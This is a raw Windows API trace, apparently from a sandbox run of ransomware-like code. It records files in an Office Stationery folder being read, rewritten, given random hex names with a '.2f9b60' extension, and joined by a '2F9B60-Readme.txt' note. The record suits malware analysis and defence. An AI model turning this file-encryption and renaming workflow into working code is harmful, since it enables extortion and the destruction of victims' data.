[0117.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc0d80 [0117.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc4990 [0117.431] ReadFile (in: hFile=0x178c, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x1fb, lpNumberOfBytesRead=0x3bd9f950, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3bd9f950*=0x1fb, lpOverlapped=0x0) returned 1 [0117.432] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.432] WriteFile (in: hFile=0x178c, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0x1fb, lpNumberOfBytesWritten=0x3bd9f954, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x3bd9f954*=0x1fb, lpOverlapped=0x0) returned 1 [0117.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0117.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0117.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9eb0 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0117.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9cd0 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.434] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.435] WriteFile (in: hFile=0x178c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bd9fa70, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3bd9fa70*=0x10a, lpOverlapped=0x0) returned 1 [0117.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0117.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b20) returned 1 [0117.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.491] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="d8") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="64") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="95") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="07") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="57") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="67") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="f2") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="6c") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="5c") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="03") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="43") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="c9") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="ce") returned 2 [0117.491] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="50") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="0d") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="2e") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="1c") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="1b") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="2d") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="d5") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="81") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="eb") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="75") returned 2 [0117.492] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="f1") returned 2 [0117.492] RtlInitAnsiString (in: DestinationString=0x3bd9fae8, SourceString="d86495075767f26c5c0343c9ce500d2e1c1b2dd581eb75f1" | out: DestinationString="d86495075767f26c5c0343c9ce500d2e1c1b2dd581eb75f1") [0117.492] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bd9fab8, SourceString="d86495075767f26c5c0343c9ce500d2e1c1b2dd581eb75f1", AllocateDestinationString=1 | out: DestinationString="d86495075767f26c5c0343c9ce500d2e1c1b2dd581eb75f1") returned 0x0 [0117.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0117.492] RtlFreeAnsiString (AnsiString="d") [0117.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0117.493] wcscat (in: _Dest=0x1b7adfc0, _Source="d86495075767" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\d86495075767") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\d86495075767" [0117.493] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\d86495075767.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\d86495075767.2f9b60" [0117.493] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\d86495075767.2f9b60", NtPathName=0x3bd9fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\d86495075767.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0117.493] NtSetInformationFile (FileHandle=0x178c, IoStatusBlock=0x3bd9fb30, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0117.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0117.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0117.496] NtQueryInformationFile (in: FileHandle=0x178c, IoStatusBlock=0x3bd9faf8, FileInformation=0x3bd9fb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bd9faf8, FileInformation=0x3bd9fb08) returned 0x0 [0117.496] NtSetInformationFile (FileHandle=0x178c, IoStatusBlock=0x3bd9faf8, FileInformation=0x3bd9fb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0117.498] FlushFileBuffers (hFile=0x178c) returned 1 [0117.551] CloseHandle (hObject=0x178c) returned 1 [0117.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0117.553] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0117.553] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0117.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0117.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b550) returned 1 Thread: id = 1315 os_tid = 0xe8c [0117.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif")) returned 0x20 [0117.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF", dwFileAttributes=0x20) returned 1 [0117.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1784 [0117.437] GetFileSizeEx (in: hFile=0x1784, lpFileSize=0x3be3f9c0 | out: lpFileSize=0x3be3f9c0*=3382) returned 1 [0117.437] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0xd32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.437] ReadFile (in: hFile=0x1784, lpBuffer=0x3be3f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3be3f988, lpOverlapped=0x0 | out: lpBuffer=0x3be3f940*, lpNumberOfBytesRead=0x3be3f988*=0x4, lpOverlapped=0x0) returned 1 [0117.468] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0117.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a60 [0117.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a90 [0117.468] NtQuerySystemTime (in: CurrentTime=0x3be3f880 | out: CurrentTime=0x3be3f880*=132462177229198000) returned 0x0 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0xc7cec00 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x496b2f40 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x15fc65e6 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x258d7f25 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x27902a45 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x6dddc743 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0xf48096c [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x49c0e0c0 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x4cf342d8 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x19872092 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x6009493e [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x572bf0d2 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x11378624 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x5e1fb24b [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x1c32b51 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x1f3767c2 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x2fa8a30d [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x50703239 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x41c00d31 [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x41ddfaee [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0xd5632fb [0117.468] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x690e8947 [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x1cbb734e [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x2b022d3c [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x59cbf6ed [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x188e0f3 [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x535054 [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x5e6b4a62 [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x61c57670 [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x220e5472 [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x182b5fd4 [0117.469] RtlRandomEx (in: Seed=0x3be3f870 | out: Seed=0x3be3f870) returned 0x3e2eac7a [0117.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9790 [0117.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0117.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a90) returned 1 [0117.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0117.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0117.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0117.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc0d80 [0117.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc4990 [0117.479] ReadFile (in: hFile=0x1784, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0xd36, lpNumberOfBytesRead=0x3be3f870, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3be3f870*=0xd36, lpOverlapped=0x0) returned 1 [0117.479] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.479] WriteFile (in: hFile=0x1784, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0xd36, lpNumberOfBytesWritten=0x3be3f874, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x3be3f874*=0xd36, lpOverlapped=0x0) returned 1 [0160.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e90 [0160.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0ec0 [0160.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0ec0) returned 1 [0160.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0160.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0160.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0160.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0160.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a0ec0 [0160.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0160.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0160.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0ef0 [0160.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0ef0) returned 1 [0160.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a0ef0 [0160.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0f20 [0160.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0f50 [0160.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0f50) returned 1 [0160.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0160.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0160.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167820 [0160.606] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.606] WriteFile (hFile=0x1784, lpBuffer=0x167820, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3be3f990, lpOverlapped=0x0) [0206.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe80 [0206.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe80) returned 1 [0206.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe80 [0206.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0206.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f90) returned 1 [0206.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9eaf0 [0206.863] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="ce") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="ba") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="82") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="29") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="b8") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="b2") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="59") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="e7") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="aa") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="be") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="f1") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="a7") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="7a") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="b6") returned 2 [0206.863] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="44") returned 2 [0206.864] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.864] sprintf (in: _Dest=0x1cd9eb18, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.864] sprintf (in: _Dest=0x1cd9eb1a, _Format="%c%c" | out: _Dest="f2") returned 2 [0206.864] sprintf (in: _Dest=0x1cd9eb1c, _Format="%c%c" | out: _Dest="af") returned 2 [0206.864] sprintf (in: _Dest=0x1cd9eb1e, _Format="%c%c" | out: _Dest="59") returned 2 [0206.864] RtlInitAnsiString (in: DestinationString=0x3be3fa08, SourceString="cef40aba8229b8c79bb259e7aabef1a77ab644ea0af2af59" | out: DestinationString="cef40aba8229b8c79bb259e7aabef1a77ab644ea0af2af59") [0206.864] RtlAnsiStringToUnicodeString (in: DestinationString=0x3be3f9d8, SourceString="cef40aba8229b8c79bb259e7aabef1a77ab644ea0af2af59", AllocateDestinationString=1 | out: DestinationString="cef40aba8229b8c79bb259e7aabef1a77ab644ea0af2af59") returned 0x0 [0206.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a05c0 [0206.864] wcscat (in: _Dest=0x431c6c20, _Source="cef40aba8229" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\cef40aba8229") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\cef40aba8229" [0206.864] wcscat (in: _Dest=0x431c6c20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\cef40aba8229.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\cef40aba8229.2f9b60" [0206.864] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\cef40aba8229.2f9b60", NtPathName=0x3be3f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\cef40aba8229.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431287e0 [0209.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431287e0) returned 1 [0209.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43207c70) returned 1 [0209.537] NtQueryInformationFile (in: FileHandle=0x1784, IoStatusBlock=0x3be3fa18, FileInformation=0x3be3fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3be3fa18, FileInformation=0x3be3fa28) returned 0x0 [0209.537] NtSetInformationFile (FileHandle=0x1784, IoStatusBlock=0x3be3fa18, FileInformation=0x3be3fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c6c20) returned 1 [0216.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a05c0) returned 1 [0216.549] 